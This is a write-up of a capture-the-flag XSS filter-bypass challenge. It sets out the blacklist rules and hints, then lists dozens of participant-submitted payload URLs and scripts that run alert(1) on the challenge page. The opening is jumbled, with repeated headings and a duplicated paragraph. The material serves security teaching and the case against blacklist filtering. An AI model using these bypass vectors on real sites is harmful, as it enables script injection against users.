RHA XSS Challenge 2 - Writeup
Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a blacklist based protection and the goal was to execute javascript alert(1). We had a huge number of participants for the challenge and in total we had more than 15k attempts for breaking the XSS filter. Out of which only 15 were worthy enough to break it.
Next, all we had to do is to enter our vector after the hash sign and since, anything after the hash would not be sent to the server, we would be able to inject the vector of our choice. However, this solution would not work in firefox, since firefox encodes opening and closing brackets (<, >) passed after hash when source is set to document.url.
Solution#2
Solution#3
Solution#4
Solution#5
Solution#6
(IE only):
Solution#7
Safari only:
Solution#8
Firefox only:
Solution#9
Solution#10
It works on both Firefox and IE:
Solution#2
Solution#3
Solution#4
Solution#5
Solution#6
Solution#7
Solution#8
Solution#9
Solution#10
Solution#2
Solution#3
Solution#4
Solution#5
Solution#6
Solution#2
for Chrome
Solution#2
for firefox
Solution#2
Solution#1
POC link - http://www.graybishop.com/xsschallenge.html
Last but not least, I would like to Sincerely thank "Prakhar Prasad" for hosting the challenge, "Alex Infuhr" with ideas to make the challenge more interesting and "Giuseppe Trotta" for hosting the challenge on hack.me.
I would love to hear your feedback! Pass your comments. Cheers.
Challenge Setup
The following were some of the specifications for the challenge:
- We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript.
- We blacklisted open & closed parenthesis, which is what most of the XSS vectors require.
- We blacklisted source keyword to avoid an easy bypass.
- We also blacklisted common DOM elements to reference the window such as this, top, window, self, parent (Later whitelisted) etc.
- As per the rules, we specified that we would update the blacklist as soon as the challengers manage to find other ways to reference window and also for challengers to find new ways to reference window global variable.
- PHP htmlspecialchars() function was used, so it was impossible to escape out of attribute as double quote was encoded.
- The winners would be decided based upon the amount of unique vectors.
Hints
We gave two interesting hints for the challenge:
- "Use your parent to get to the top". We were referring to "Parent" or "ParentNode" which could be used as an alternative for window object.
- "parentNode" - Upon realizing that people are still not able to solve the challenge, we released another important hint, where we actually revealed the name of the object.
Solution
At first, We received some ridiculously long solutions, however it was matter of time, when the participants were able to shorten it up and came up with our expected solution. With that being said, Let's now take a look at our expected solution:
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x onerror=parentNode['inne'%2B'rHTML']=URL#<img src=x onerror=alert(1)>The solution was pretty simple, We simply used parentNode to reference the innerHTML property, if you notice that we have used %2B which is equivalent to + sign, we had to use it's encoded version since '+' sign was encoded, since and set it equal to the URL. Which is equivalent to document.url.
Next, all we had to do is to enter our vector after the hash sign and since, anything after the hash would not be sent to the server, we would be able to inject the vector of our choice. However, this solution would not work in firefox, since firefox encodes opening and closing brackets (<, >) passed after hash when source is set to document.url.
Winners
Mastao kinugawa and Pepe vila came up with equal number of unique solution therefore they both are the conqueror of this challenge and are crowned as winners. Both of them kept coming with exceptional bypasses, till the point where further blacklisting was not possible without actually breaking the challenge.
I would like to congratulate both of them and would like to thank them and all of other participants for taking out their precious time and participating in this challenge.
Challenge Link
We have already setup the challenge on hack.me for you to be able to validate it. Special thanks to Giuseppe Trotta for hosting the challenge at hack.me.
Solutions From Community
Let's now take a look at the solutions from community, the list is in descending order with an exception to Masato and Pepe vila as they have equal number of solutions.
1. Masato Kinugawa
Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=head['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)>
Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=all[0][%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)>
Solution#3
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=parentNode[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)>
Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=activeElement[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)>
Solution#5
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=defaultView['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)>
Solution#6
(IE only):
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=Script['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)>
Solution#7
Safari only:
( Please click the go button. FYI, document.domain='com' vector no longer works on Chrome.)
https://googledrive.com/host/0B9oV5VZLcjwOUl9LVm5Ydm84LWs/poc.html
Solution#8
Firefox only:
https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=content['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=content['documen'%2B't']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)>
Solution#9
<script>
function go(){
window.name="javascript:alert(1)"
window.open("https://challenges.prakharprasad.com/xss/2/xss.php
xss='x'onerror=opener.onerror=setTimeout%3Bopener.x.src=1","x");
location.href="https://challenges.prakharprasad.com/xss/2/xss.php
xss='x'id='x'onerror=throw'=1;locatio'%2B'n=nam'%2B'e'";
}
</script>
<button onclick=go()>go</button>
Solution#10
It works on both Firefox and IE:
https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'id='a'onerror=a['ownerD'%2B'ocument']['bod'%2B'y']['innerHTM'%2B'L']=a['ownerD'%2B'ocument']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)>
2. PEPE VILA
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%0aonerror=d=attributes.src;d.ownerElement['innerHTM'%2b'L']=d['ownerDocumen'%2b't']['defaultVie'%2b'w']['locatio'%2b'n']['has'%2b'h']#<svg/onload=alert(1)>
Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=previousSibling['ownerDocumen'%2b't']['bod'%2b'y'][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#3
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=arguments[0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
or if you blacklist "target" it's stil possible to use "srcElement" or
"path[0]".
Solution#5
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.srcElement[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#6
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.path[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#7
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=onerror[%27argumen%27%2b%27ts%27][0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#8
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Option;_[%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x
onerror=alert(1)>
Solution#9
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onload=%27a["innerHTM"%2b"L"]=URL%27onerror=a={};a[src="logo.png"]=a=activeElement#<img/src=x onerror=alert(1)>
Solution#10
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Text;_[%22ownerDocumen%22%2b%22t%22][%22bod%22%2b%22y%22][%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x
onerror=alert(1)>
3. Mathias
Solution#1
https://challenges.prakharprasad.com/xss/2/xss.php?xss=a+onerror=%27parentNode.parentNode.parentNode.parentNode[%22
locatio%22%2b%22n%22]=%22javascrip%22%2b%22t:/*%22%2b
parentNode.parentNode.parentNode.parentNode[%22locatio%22%2b%22n%22][%22has%22%2b%22h%22]%27#*/alert(1)
Solution#2
<body onload="location='https://challenges.prakharprasad.com/xss/2/xss.php?*/alert(1)';">Click me</body>
Solution#3
var x = window.open('https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27opener["loc"%2b"ation"]="javascri"%2b"pt:/*"%2
bopener["loc"%2b"ation"]%27%20"');
Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20height=20000%20width=200000%20onmouseover=%27event.fromElement
["innerHTM"%2b"L"]=event.view["locatio"%2b"n"]["has"%2b"h"]'#<img src=x onerror=alert(1)>
Solution#5
window.name="location='javascript:alert(1)'"
location="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror='vbs:setTimeout %22setTimeout windo%22%26%22w.nam%22%26%22e%22'"
Solution#6
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl
[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%
2Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[27];", "_self");
4. Masahiro YAMADA
<script>
if (location.search.length=="") {
location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>";
}
</script>
Solution#2
<a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=event.target["par"%2B"entE"%2B"lement"]["par"%2B"entE"%2B"lement"]["ownerD"%2B"ocument"].referrer'' target="_blank">go</a>
Solution#3
<script>
function goXss() {
var w = window.open();
w.name="<"+"img src=. onerror=alert(1)>";
w.location.href=('https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onclick=\'event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L"]=arguments[0].view["na"%2B"me"]\'');
}
</script>
Solution#4
https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e
["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'
5. Luat Nguyen
Solution #1:
https://challenges.prakharprasad.com/xss/2/xss.php
?xss='1' id=xxx onerror=parent.xxx['outerHTM'%2b'L']=parent['locatio'%2b'n']['has'%2b'h'] #<svg onload=alert(1)>
Solution #2:
https://challenges.prakharprasad.com/xss/2/xss.php
?xss='1' id=xxx abc='aler%26%23x74%26%23x28%201%26%23x29' onload=1 onerror=xxx['innerHTM'%2b'L']=xxx['attribut'%2b'es']['abc']['valu'%2b'e'];xxx['attribut'%2b'es']['onload']['valu'%2b'e']=xxx['innerHTM'%2b'L'];xxx.src='logo'
(is not using location.hash)
6. file descriptor
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=body[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
Solution#2
https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=images[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)>
7. Roman Shafigullin
Solution#1for Chrome
https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27x%27%20onerror=v=[onerror%2B%27%27][0];attributes[1].value=%27aler%27%2B%27t%27%2Bv[16]%2B1%2Bv[22];src=2
Solution#2
for firefox
https://challenges.prakharprasad.com/xss/2/xss.php?xss='x' onerror=v=[onerror%2B''][0];attributes[0].value='aler'%2B't'%2Bv[16]%2B1%2Bv[38];src=2
8. Ahmed Nafeez
Solution#1window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=
l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];
opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%2
Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[36];", "_self");
Solution#2
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?lol=()&xss=%27123%27%20onerror=l
=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascri
p%27%2B%27t:aler%27%2B%27t%27%2Bopener[l].search[6]%2B1%2Bopener[l].search[6]", "_self");
9. Frans Rosen
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=parentNode[%27innerHT%27%2b%27ML%27]=URL#<img src=x onerror=alert(1)>
10. Denis Kolegov
Solution#1<script>
window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=1%20onerror=c='locatio'%2b'n';parent[c]=parent['n'%2b'ame']", "javascript:alert(1)");
</script>
11. topol
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=a onerror=parentNode['innerH'%2b'TML']=parent['loca'%2b'tion']['ha'%2b'sh']#<img src=a onerror=alert(1)>
12. romain <[email protected]>
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=XsX%20onerror=parent[%27documen%27%2b%27t%27][%27bod%27%2b%27y%27][%27innerHTM%27%2b%27L%27]=%27%27%2bparent[%27locatio%27%2b%27n%27][%27has%27%2b%27h%27]#<img src=. onerror=alert(1) >
13. Giuseppe Trotta
Solution#1https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=_=parentNode.parentNode.parentNode.
parentNode;__=_[%27loca%27%2b%27tion%27];p=__[%27ha%27%2b%27sh%27][2];pp=__[%27ha%27%2b%27sh%27][3];__[%27href%27]=%22javas%22%2b%22cript:a%22%2b%
22lert%22%2bp%2b%221%22%2bpp#:()
14. Alan Bishop <[email protected]>
Solution#1
<a href="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27parentElement%5b%22inner%22%2b%22
HT%22%2b%22ML%22%5d=parentElement%5b%22owner
Docu%22%2b%22ment%22%5d%5b%22loca%22%2b%22tion%22%5d%5b%22ha%22%2b%22sh%
22%5d%27#<img src=x onerror='alert(1)'>">click me</a>
15. Mramydnei" mramydnei"
Solution#1Vector: http://133.52.240.75/test.htm?<svg onload=alert(1)>
a onerror=parentNode['outerH'+'TML']=referrer
challenges.prakharprasad.com
Conclusion
The challenge was based upon a very strict blacklist rules, however the bypasses prove yet again that "Blacklists" have never been and never would be the solution for mitigating cross site scripting attacks. In case, if I have missed any of your submission, Please let me know, I would update it accordingly.Last but not least, I would like to Sincerely thank "Prakhar Prasad" for hosting the challenge, "Alex Infuhr" with ideas to make the challenge more interesting and "Giuseppe Trotta" for hosting the challenge on hack.me.
I would love to hear your feedback! Pass your comments. Cheers.